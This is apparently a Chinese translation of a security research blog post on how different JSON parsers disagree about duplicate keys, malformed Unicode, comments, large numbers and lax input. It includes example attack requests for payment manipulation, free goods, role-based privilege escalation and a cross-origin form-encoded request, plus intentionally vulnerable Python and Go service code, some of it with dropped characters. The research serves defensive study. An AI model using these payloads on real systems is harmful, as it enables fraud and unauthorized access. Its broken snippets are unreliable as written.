JSON Parsers 差异安全问题探索

2021-03-25 11:18:40 浏览数 (1)

本文由团队大佬1z3r0翻译,原文链接:https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities

前言

作者发现各类JSON解析器针对相同的JSON字符串解析结果存在差异,产生差异的原因为:

  1. JSON RFC标准本身存在不同版本,同时也有JSON5,HJSON等扩展标准,不同标准之间存在差异。
  2. RFC标准定义中对某些技术细节采用开放性描述,导致具体实现存在差异。

已经发现可能导致安全问题的差异有以下5种:

  1. 重复键的优先级存在差异
  2. 字符截断和注释
  3. JSON序列化怪癖
  4. 浮点数及整数表示
  5. 宽容解析与一次性bug

1.重复键的优先级存在差异

下面这个JSON字符串,根据官方文档的描述,obj["test]的值,无论是1,2还是解析错误,都是允许的。

代码语言:javascript复制
obj = {"test": 1, "test": 2}

甚至还有开发人员,利用部分JSON解析器仅返回最后一个key对应值的特性,创建自文档化的JSON:

代码语言:javascript复制
obj = {"phone": "phone用来储存用户电话", "phone": "2333"}
//部分JSON解析器仅返回最后一个key对应的值,所以利用重复建值储存字段描述。

下面是一个优先级差异导致安全问题的场景,Cart SERVICE执行订单校验逻辑,校验通过后转发至Payment SERVICE进行支付相关逻辑:

恶意payload,第二类商品包含了重复键qty:

代码语言:javascript复制
POST /cart/checkout HTTP/1.1
...
Content-Type: application/json

{
    "orderId": 10,
    "paymentInfo": {
        //...
    },
    "shippingInfo": {
        //... 
    },
    "cart": [
        {
            "id": 0,
            "qty": 5
        },
        {
            "id": 1,
            "qty": -1,
            "qty": 1
        }
    ]
}


Cart SERVICE使用python标准库中的JSON解析器,针对重复键,将返回最后一个键值对,即{"id":1,"qty":1},可以通过订单校验。


@app.route('/cart/checkout', methods=["POST"])
def checkout():
   # 1a: Parse JSON body using Python stdlib parser.
   data = request.get_json(force=True)

   # 1b: Validate constraints using jsonschema: id: 0 <= x <= 10 and qty: >= 1
   # See the full source code for the schema
   jsonschema.validate(instance=data, schema=schema)

   # 2: Process payments
   resp = requests.request(method="POST",
                          url="http://payments:8000/process",
                          data=request.get_data(),
                          )

   # 3: Print receipt as a response, or produce generic error message
   if resp.status_code == 200:
       receipt = "Receipt:n"
       for item in data["cart"]:
           receipt  = "{}x {} @ ${}/unitn".format(
               item["qty"],
               productDB[item["id"]].get("name"),
               productDB[item["id"]].get("price")
           )
      receipt  = "nTotal Charged: ${}n".format(resp.json()["total"])
      return receipt
   return "Error during payment processing"

Payment SERVICE 是一个Golang服务,使用了高性能的第三方JSON解析器(buger/jsonparser),针对重复键,它会返回第一个键值对,即{"id":1,"qty":-1}

代码语言:javascript复制
func processPayment(w http.ResponseWriter, r *http.Request) {
   var total int64 = 0
   data, _ := ioutil.ReadAll(r.Body)
   jsonparser.ArrayEach(
           data,
           func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
             // Retrieves first instance of a duplicated key. Including qty = -1
               id, _ := jsonparser.GetInt(value, "id")
               qty, _ := jsonparser.GetInt(value, "qty")
               total = total   productDB[id]["price"].(int64) * qty;
           },
       "cart")

   //... Process payment of value 'total'

   // Return value of 'total' to Cart service for receipt generation.
   io.WriteString(w, fmt.Sprintf("{"total": %d}", total))
}

如果 Cart SERVICE在校验数据通过之后,没有将通过校验的数据重新序列化为字符串发送给Payment SERVICE,而是直接将原始请求中的JSON字符串转发给Payment SERVICE,就会导致安全问题发生:

代码语言:javascript复制
HTTP/1.1 200 OK
...
Content-Type: text/plain

Receipt:
5x Product A @ $100/unit
1x Product B @ $200/unit

Total Charged: $300

2.字符截断和注释

还可以利用字符截断及注释来引发键冲突,来扩展受重复键优先级影响的解析器打击面。

字符截断

当解析到某些特定字符时,有些解析器会截断字符串,而有些则不会。以下的字符串在某些后序优先的解析器中,被认为存在重复项:

代码语言:javascript复制

{"test": 1, "test[raw x0d byte]": 2} 
{"test": 1, "testud800": 2}
{"test": 1, "test"": 2}
{"test": 1, "test": 2}

这类畸形字符串,对多轮解析和序列化/反序列化来说,结果是不稳定的。例如U D800U DFFF在UTF-16中是一个空段,即这些码点永久保留不映射到任何Unicode字符。当其被当做UTF-8解码时,会被认为是非法字符。 参考:Unicode编码解析 所有示例字符串都与第一节中的示例有相同的利用方式,但是,某些允许对非法Unicode进行编码和解码的环境(例如Python 2.x),在进行序列化和反序列化字符串时,可能容易受到复杂的攻击。 让我们从Python 2.x 中unicode编码/解码的行为开始:

代码语言:javascript复制
➜  ~ python
Python 2.7.16 (default, Oct 21 2019, 14:41:45)
[GCC 4.2.1 Compatible Apple LLVM 11.0.0 (clang-1100.0.33.8)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import json
>>> import ujson
#序列化非法字符
>>> u"asdfud800".encode("utf-8")   
'asdfxedxa0x80'
>>> json.dumps({"test": "asdfxedxa0x80"})
'{"test": "asdf\ud800"}'
#尝试分别用标准库json及第三方库ujson对字符串进行反序列化
>>> json.loads('{"test": 1, "test\ud800": 2}')
{u'test': 1, u'testud800': 2}
>>> ujson.loads('{"test": 1, "test\ud800": 2}')
{u'test': 2}
>>>

下面是针对该问题的利用场景,攻击者可以使用解析缺陷绕过权限检查。例如,创建一个superadminud888用户,该用户可能在进行权限检查时被认为是superadmin用户。前提是目标系统支持对非法的unicode字符编码/解码,并且数据库及系统不会抛出异常(比较困难)。 如下为一个多用户系统,其中组织管理员允许创建自定义的用户角色,此外,superadmin角色拥有跨组织访问权限

首先,尝试创建一个superadmin权限的用户:

代码语言:javascript复制

POST /user/create HTTP/1.1
Content-Type: application/json

{
   "user": "exampleUser", 
   "roles": [
       "superadmin"
   ]
}


HTTP/1.1 401 Not Authorized
...
Content-Type: application/json

{"Error": "Assignment of internal role 'superadmin' is forbidden"}

当我们尝试通过User API创建superadmin角色用户时,由于服务端安全策略,请求被阻止。在这里,我们假设User API使用行为良好且合规的JSON解析器,为了影响下游解析器,我们创建一个恶意角色:

代码语言:javascript复制

POST /role/create HTTP/1.1
...
Content-Type: application/json

{
   "name": "superadminud888"
}


HTTP/1.1 200 OK
...
Content-type: application/json

{"result": "OK: Created role 'superadminud888'"}


再创建一个恶意角色的用户:


POST /user/create HTTP/1.1
...
Content-Type: application/json

{
   "user": "exampleUser", 
   "roles": [
       "superadminud888"
   ]
}


HTTP/1.1 200 OK
...
Content-Type: application/json

{"result": "OK: Created user 'exampleUser'"}


获取权限接口,同样也会正确的处理畸形字符串:


GET /permissions/exampleUser HTTP/1.1
...


HTTP/1.1 200 OK
...
Content-type: application/json

{
   "roles": [
       "superadminud888"
   ]
}
当Admin API使用ujson时,在鉴权流程中,我们的角色会被截断为superadmin,获取到跨组织访问权限


@app.route('/admin')
def admin():
   username = request.cookies.get("username")
   if not username:
      return {"Error": "Specify username in Cookie"}

   username = urllib.quote(os.path.basename(username))

   url = "http://permissions:5000/permissions/{}".format(username)
   resp = requests.request(method="GET", url=url)

   # "superadminud888" will be simplified to "superadmin" 
   ret = ujson.loads(resp.text) 

   if resp.status_code == 200:
       if "superadmin" in ret["roles"]:
           return {"OK": "Superadmin Access granted"}
       else:
           e = u"Access denied. User has following roles: {}".format(ret["roles"])
           return {"Error": e}, 401
   else:
       return {"Error": ret["Error"]}, 500

注释截断

许多JSON库都支持JavaScript解释器环境中的无引号值和注释语法(例如:/* */),但这不是正式规范的一部分,支持此类功能的解析器可以处理如下字符串:

代码语言:javascript复制
obj = {"test": valWithoutQuotes, keyWithoutQuotes: "test" /* 支持注释 */}

当有两个支持无引号值的解析器,但仅有一个支持注释时,以下畸形字符串可以将注释逃逸为重复键:

代码语言:javascript复制
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}

以下为不同解析器的结果:

GoLang的GoJay库

  • description = "Duplicate with comments"
  • test = 2
  • extra = ""

Java的JSON-iterator库

  • description = "Duplicate with comments"
  • extra = "/*"
  • extra2 = "*/"
  • test = 1

直接使用注释,有时也可以奏效

代码语言:javascript复制
obj = {"description": "Comment support", "test": 1, "extra": "a"/*, "test": 2, "extra2": "b"*/}


Java的GSON库


{"description":"Comment support","test":1,"extra":"a"}


Ruby的simdjson库


{"description":"Comment support","test":2,"extra":"a","extra2":"b"}

3.JSON序列化怪癖

目前为止,我们讨论的都是解析JSON的问题,但几乎所有实现都支持JSON编码(也称作序列化),让我们看几个例子:

优先顺序差异:序列化 vs 反序列化

Java的JSON-iterator 有如下输入及输出 输入:

代码语言:javascript复制
obj = {"test": 1, "test": 2}

输出:

代码语言:javascript复制
obj["test"] // 1
obj.toString() // {"test": 2}

如上所示,通过key检索获得的值,和序列化的值不同。

生成重复键值的字符串

根据规范,序列化重复的键是可以接受的,例如C 的Rapidjson支持生成重复的序列化字符串: 输入:

代码语言:javascript复制
obj = {"test": 1, "test": 2}

输出:

代码语言:javascript复制
obj["test"] // 2
obj.toString() // {"test": 1, "test": 2}

4.浮点数及整数表示

大数解码不一致

如果解码不正确,大数可能被解码为MAX_INT0(接近负无穷时可能为MIN_INT)。 如下数字:

代码语言:javascript复制
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

可能解码为多种表现形式,例如:

代码语言:javascript复制
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9.999999999999999e95
1E 96
0
9223372036854775807

第一节中,Payment API所使用的的Golang jsonparser库,会将大数解码为0,而Cart API将正常的解码数字,我们可以利用该问题,构造另一种利用方式来获取免费的物品。

代码语言:javascript复制
POST /cart/checkout HTTP/1.1
...
Content-Type: application/json

{
   "orderId": 10,
   "paymentInfo": {
        //...
   },
   "shippingInfo": {
        //...
   },
   "cart": [
       {
           "id": 8,
           "qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
       }
   ]
}


HTTP/1.1 200 OK
...
Content-Type: text/plain

Receipt:
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999x $100 E-Gift Card @ $100/unit

Total Charged: $0

无穷数表示不一致

正式RFC不支持正负无穷以及NaN(非数字)。但是许多解析器都有自己的处理方式,并且可能导致多种不同结果: 输入:

代码语言:javascript复制
{"description": "Big float", "test": 1.0e4096}


输出:


{"description":"Big float","test":1.0e4096}
{"description":"Big float","test":Infinity}
{"description":"Big float","test":" Infinity"}
{"description":"Big float","test":null}
{"description":"Big float","test":Inf}
{"description":"Big float","test":3.0e14159265358979323846}
{"description":"Big float","test":9.218868437227405E 18}

在某些语言中,类型转换可能出现问题,比如如下例子,字符串"Infinity"与数字0被认为是相同的:

代码语言:javascript复制
<?php
echo 0 == 1.0e4096 ? "True": "False" . "n"; # False
echo 0 == "Infinity" ? "True": "False" . "n"; # True
?>

5.宽容解析与一次性bug

尾部污染

可以通过在JSON字符串之后添加=号,并且将请求的Content-Type设置为x-www-form-urlencoded ,绕过同源策略的限制,浏览器允许发送如下的跨域请求:

代码语言:javascript复制
POST / HTTP/1.1
...
Content-Type: application/x-www-form-urlencoded

{"test": 1}=

如果服务端没有对Content-Type进行校验,并且直接将body内容作为JSON字符串处理,就可能导致安全问题。

拒绝服务

甚至有部分解析器在解析畸形字符串时崩溃,具体细节需要问题修复之后才对外公开。

0 人点赞